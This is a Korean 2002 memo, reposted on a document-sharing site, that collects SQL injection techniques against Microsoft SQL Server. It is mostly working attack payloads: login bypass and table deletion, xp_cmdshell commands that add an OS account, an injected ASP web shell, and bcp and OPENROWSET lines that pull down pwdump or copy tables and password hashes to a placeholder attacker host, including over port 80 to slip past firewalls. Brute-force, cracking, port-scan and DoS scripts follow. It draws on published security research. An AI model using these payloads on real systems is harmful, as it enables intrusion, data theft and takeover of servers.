Docstoc

SQL Injection Memo

Document Sample
SQL Injection Memo Powered By Docstoc
					SQL Injection Memo
오정욱 mat@monkey.org 2002.12.13(v0.5) 이 문서는 SQL Injection 에 대한 여러 자료들을 토대로 메모 레벨에서 핵심적인 내용만을 간추려 정리한 것입니다. 여기에 나온 모든 자료들은 실제로 테스트를 거쳐 검증 된 것은 아니므로 주의해서 사용하시기 바랍니다. 현재 MSSQL 에 관련한 사항들 위주로 정리 되어 있습니다.

1. SQL Injection 이란 무엇인가?
SQL Injection 은 일반적으로 데이타 베이스에 접근하는 웹어플리케이션에서 SQL query 문에 대한 문자열을 필터링 하지 않고 바로 데이타베이스로 넘기는 것이 가능한 점을 이용한 exploit 방법의 일종이다. 하지만 SQL Injection 이 꼭 웹어플리케이션에서만 일어난다고 볼수 는 없다. 다른 종류의 어플리케이션의 경우에도 SQL Injection 버그를 가지고 있을 경우가 얼마든지 있다. 데이타 베이스에 따라서는 이러한 SQL Injection 을 통해서 시스템 레벨의 권한을 획득하는 것이 가능하기도 하고, 데이타 베이스 내의 테이블을 조작하거나 내용을 유출 시킬수 있는 가능성도 존재한다. 이러한 SQL Injection 은 현재 인터넷 상에서 구동되는 많은 웹어플리케이션에서 발견할 수 있으며 특히 MSSQL 을 데이타베이스로 사용하였을 경우에 데이타베이스 사용자의 권한이 허락한다면 시스템 명령을 바로 실행 시킬 수 있다. 데이타 자체가 중요한 경우 여러 가지 기법을 사용하여 데이타 베이스 테이블의 구조를 알아 낼수도 있고, 데이타 베이스의 테이블 자체를 통째로 복사해 올수도 있다. 또한 프로그래머가 의도적으로 SQL Injection 에 대비하지 않는 이상은 막기가 힘들고, 또한 모든 SQL query 에 대해서 SQL Injection 을 100% 없앤다는 것 또한 힘들다.

2. 대상
SQL Injection 은 주로 다음과 같은 언어나 툴로 짜여진 프로그램들에 영향을 끼친다. JSP ASP XML, XSL and XSQL Javascript VB, MFC, ODBC-based tools and APIs Portal, the older WebDB, and other Oracle Web-based applications and API’s Reports, discoverer, Oracle Applications 3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL Perl and CGI scripts that access Oracle databases

3. 할수 있는일
SQL Injection 으로 다음과 같은 일을 할 수 있다.

1. Datbase Manipulation
data, system configuration 에 접근하고 조작한다.

2. OS Access
package procedures 나 3GL language extensions 등을 사용하여 OS 레벨에 접근한다.

4. SQL Injection Techniques
1. DB Operation
1. 데이타베이스 오퍼레이션

데이타 베이스에 대한 일반적이 오퍼레이션이 가능하다. SELECT,INSERT,UPDATE,DROP TABLE 등을 주로 사용한다.

2. 예제
다음과 같은 로그인 폼이 있다고 하자. <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD>

<BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM>

</FONT> </BODY> </HTML> 이 로그인 폼은 다음과 같은 ASP 파일을 실행시킨다.

<HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); }

function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );

rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection

var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); }

Main(); %>

이 ASP 스크립트에는 다음과 같은 부분에 SQL Injection 이 존재한다. var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";

다음과 같은 방법으로 users 테이블을 삭제할 수 있다. Username: '; drop table users-Password: 다음과 같은 방법으로 admin 으로 로그인이 가능하다. Username: admin'-다음과 같이 anonymous 하게 로그인할 수도 있다.

Username: ' or 1=1-Username: ' union select 1, 'fictional_user', 'some_password', 1--

2. StoredProcedures
1. Basics
Stored Procedure 는 데이타 베이스에서 어떠한 작업을 수행하기 위해서 만들어 놓은 명령들의 묶음이다. 이러한 Stored Procedure 중에는 OS 레벨에 접근할 수 있는 것들이 존재한다.

2. Categories
1. Extended Stored Procedures Extended Stored Procedures 1. 명령 실행 xp_cmdshell {'command_string'} [, no_output] 명령을 실행 시킬수 있다. 하지만 sa 권한이 아니면 실행이 불가능한 단점이 있다. ex) exec master..xp_cmdshell 'dir' exec master..xp_cmdshell 'net1 user' exec master..xp_cmdshell 'net user test testpass /ADD'--' exec master..xp_cmdshell 'ping 211.59.27.66' 2. 레지스트리 에디트 xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite ex)

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 서비스 컨트롤 exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server' 4. 아웃풋 만들기 sp_makewebtask [@outputfile =] 'outputfile', [@query =] 'query' 쿼리 결과를 파일로 저장함 UNC path 사용 가능 5. 기타 xp_availablemedia: the machine. xp_dirtree: xp_enumdsn: server xp_loginconfig: reveals information about the security mode of the server. xp_makecab: allows the user to create a compressed archive of files on the server (or any files the server can access) xp_ntsec_enumdomains: enumerates domains that the server can access xp_terminate_process: terminates a process, given its PID xp_fileexist: check if file exists 2. Custom Stored Procedures Custom Extended Stored Procedures sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll' allows a directory tree to be obtained enumerates ODBC data sources on the 3.

reveals the available drives on

-> exec xp_webserver sp_dropextendedproc 'xp_webserver'

create table foo( line varchar(8000) ) bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

3. Active X automation script
ActiveX automation scripts 를 사용하여 명령을 실행할수 있다. 하지만 이경우에는 IIS 5 에서는 IWAM_xxx 권한으로 실행 되는 것을 주의해야 한다. 이 권한은 SYSTEM 권한보다 낮은 권한이다.

1. 명령 실행
다음은 노트 패드를 실행시키는 스크립트이다. -- wscript.shell example declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' 다음과 같은 방법으로 사용이 가능하다. Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'-다음은 명령을 실행하는 일반적인 스크립트이다. -- scripting.filesystemobject example - create a 'run this' .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'

2. 파일 읽기
다음은 파일을 읽을 수 있는 스크립트이다. -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

3. speak
다음은 VoiceText 오브젝트를 이용하여 음성을 말하는 스크립트이다. declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528 waitfor delay '00:00:05' 다음은 이 스크립트를 실행시키는 방법을 보여 주고 있다. Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--

4. File 다운로드 업로드
파일 업로드와 다운로드를 위해서 다음과 같은 방법들을 사용할 수 있다.

1. BCP
bcp 를 사용하여 테이블에서 바이너리를 추출해서 파일 생성이 가능하다. bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

1. 예제 create table AttackerTable (data bulk insert AttackerTable from 'pwdump.exe' with (codepage='RAW')

text)

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -Shackersip -Usa -Ph8ck3r' 레지스트리에 접속할 데이타베이스 정보를 세팅하고 데이타를 가져 오는 것도 가능하다. exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo', 'HackerSrvAlias','REG_SZ','DBMSSOCN,hackersip,80' exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -Craw -SHackerSrvAlias -Usa -Ph8ck3r'

2. xp_cmdshell

xp_cmdshell 을 이용하여 파일을 생성하는 것도 가능하다. exec xp_cmdshell '"first script line" >> script.vbs' exec xp_cmdshell '"second script line" >> script.vbs' ... exec xp_cmdshell '"last script line" >> script.vbs' exec xp_cmdshell 'script.vbs' -->execute script to download binary

5. 공격 범위의 확대
1. 방법
OLEDB 를 이용하여 다른 데이타베이스로 접근이 가능하다. 이 기능을 이용하여 로칼 데이타 베이스에 대한 권한 상승을 시도하는 데에도 활용이 가능하다. 1. 문법 select * from OPENROWSET( 'SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'select * from table1' ) Parameters: 1. OLEDB Provider name 2. Connection string (could be an OLEDB data source or an ODBC connection string) 3. SQL statement 2. 예제

1. 명령 실행 결과 확인
insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from temp_table') exec master.dbo.xp_cmdshell 'dir'

2. 테이블 복사
insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from table1') select * from database..table1 insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from table2') select * from database..table2

3. 시스템 테이블 복사
테이블의 구조를 모를 경우 다음과 같은 시스템 테이블을 먼저 복사한 후에 테이블 구조를 알아내고 테이블 복사를 시도할 수 있다. insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from _sysdatabases') select * from master.dbo.sysdatabases insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from _sysobjects') select * from user_database.dbo.sysobjects insert into OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from _syscolumns') select * from user_database.dbo.syscolumns insert into OPENROWSET('SQLoledb', 'server=servername;uid=sa;pwd=h8ck3r', 'select * from table1') select * from table2 insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from table1') select * from table2

4. 패스워드 테이블
패스워드 테이블을 복사한후 크랙을 시도할 수도 있다. insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

5. 방화벽 우회
방화벽이 존재하고 외부로의 일반접근이 제한적일 경우 80 번 포트를 사용하여 접속하도록 할 수 있다. select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;', 'select * from table') 3. OLE Ad-hoc 방지

다음과 같은 레지스트리 세팅을 통해서 OLEDB 를 이용한 외부 DB 접근을 차단할 수 있다. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\Microsoft .J et.OLEDB.4.0] "DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDAORA] "DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\MSDASQL] "DisallowAdhocAccess"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB] "DisallowAdhocAccess"=dword:00000001

2. 정보 수집
다음과 같은 방법으로 서버에 대한 정보를 수집할 수 있다. insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysservers') select * from master.dbo.sysservers

3. Linked 나 Remote 서버로의 접근
insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysservers') select * from LinkedOrRemoteSrv1.master.dbo.sysservers insert into OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysdatabases') select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases 프로시저만을 허용할 경우 insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysservers') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from master.dbo.sysservers' insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysdatabases') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases'

4. going deeper
위의 단계를 반복하면서 다른 서버로 접속할 수 있다. insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysservers') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from master.dbo.sysservers''' insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;', 'select * from _sysdatabases') exec LinkedOrRemoteSrv1.master.dbo.sp_executesql

N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from master.dbo.sysdatabases'''

5. 포트 스캐닝
SQL OLEDB 을 포트 스캐닝을 위한 도구로 활용할 수도 있다. select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5', 'select * from table')

closed: with timeout SQL Server does not exist or access denied.

opened: General network error. Check your network documentation. or OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.

6. DOS
다음과 같이 OLEDB 로 존재 하지 않는 호스트를 지정함으써 DOS 공격을 일으킬 수 있다. 이러한 커넥션을 많이 만들면 시스템의 리소스를 소비하게 된다. select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600', 'select * from table')

6. 패스워드 공격
패스워드와 관련하여서 sysxlogins 테이블의 패스워드를 빼내어 크랙하는 방법과 직접 브루트 포싱으로 로긴을 시도하는 방법이 있다. 1. 패스워드 크랙 (sqlcrack.sql) create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords 2. 로그인 브루트 포스 초당 40 개 이상의 패스워드를 시도해 볼 수 있다. declare @username nvarchar(4000), @query nvarchar(4000) declare @pwd nvarchar(4000), @char_set nvarchar(4000) declare @pwd_len int, @i int, @c char select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_' select @pwd_len = 8 select @username = 'sa' while @i < @pwd_len begin -- make pwd (code deleted) -- try a login

select @query = N'select * from OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username + N';pwd=' + @pwd + N''',''select @@version'')' exec xp_execresultset @query, N'master' --check for success (code deleted) -- increment the password (code deleted) end

7. Error 메시지의 사용
다음과 같은 테이블을 만들고 레코드를 삽입한다. create table users( id int, username varchar(255), password varchar(255), privs int )

insert insert insert insert

into into into into

users users users users

values( values( values( values(

0, 0, 0, 0,

'admin', 'r00tr0x!', 0xffff ) 'guest', 'guest', 0x0000 ) 'chris', 'password', 0x00ff ) 'fred', 'sesame', 0x00ff )

having 구문을 사용하여 에러메시지를 유도한다. id 필드를 알아 낼수 있다. Username: ' having 1=1--> Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35 having 구문과 함께 알아낸 정보를 사용하여 에러메시지를 유도한다. username 필드를 알아 낼수 있다. 이러한 과정을 통해 모든 필드의 이름을 알아낼 수 있다. Username: ' group by users.id having 1=1-Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 group by 구문을 이용하여 에러메시지를 유도하여 id 필드의 타입을 알아낸다. ' group by users.id, users.username, users.password, users.privs having 1=1--

Username: ' union select sum(username) from users-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 sum 함수를 사용하여 id 필드의 타입을 알아낸다. Username: ' union select sum(id) from users-Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 이렇게 알아낸 정보를 토대로 새로우 레코드를 삽입한다. Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)--

5. 참고 자료
1. RFP 의 문서
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

2. FAQ
http://www.sqlsecurity.com/faq-inj.asp

3. Technical Documents
1. Advanced SQL Injection In SQL Server Applications Chris Anley [chris@ngssoftware.com] An NGSSoftware Insight Security Research (NISR) Publication (C)2002 Next Generation Security Software Ltd http://www.ngssoftware.com

2. Manipulating Microsoft SQL Server Using SQL Injection Cesar Cerrudo (sqlsec@yahoo.com) APPLICATION SECURITY, INC. WEB: WWW.APPSECINC.COM E-MAIL: INFO@APPSECINC.COM TEL: 1-866-9APPSEC ? 1-212-490-6022 3. (more) Advanced SQL Injection Chris Anley [chris@ngssoftware.com] 18/06/2002 An NGSSoftware Insight Security Research (NISR) Publication (C)2002 Next Generation Security Software Ltd http://www.ngssoftware.com 4. SQL Injection: Are Your Web Applications Vulnerable? A White Paper from SPI Dynamics Author: Kevin Spett


				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:569
posted:11/29/2009
language:Korean
pages:22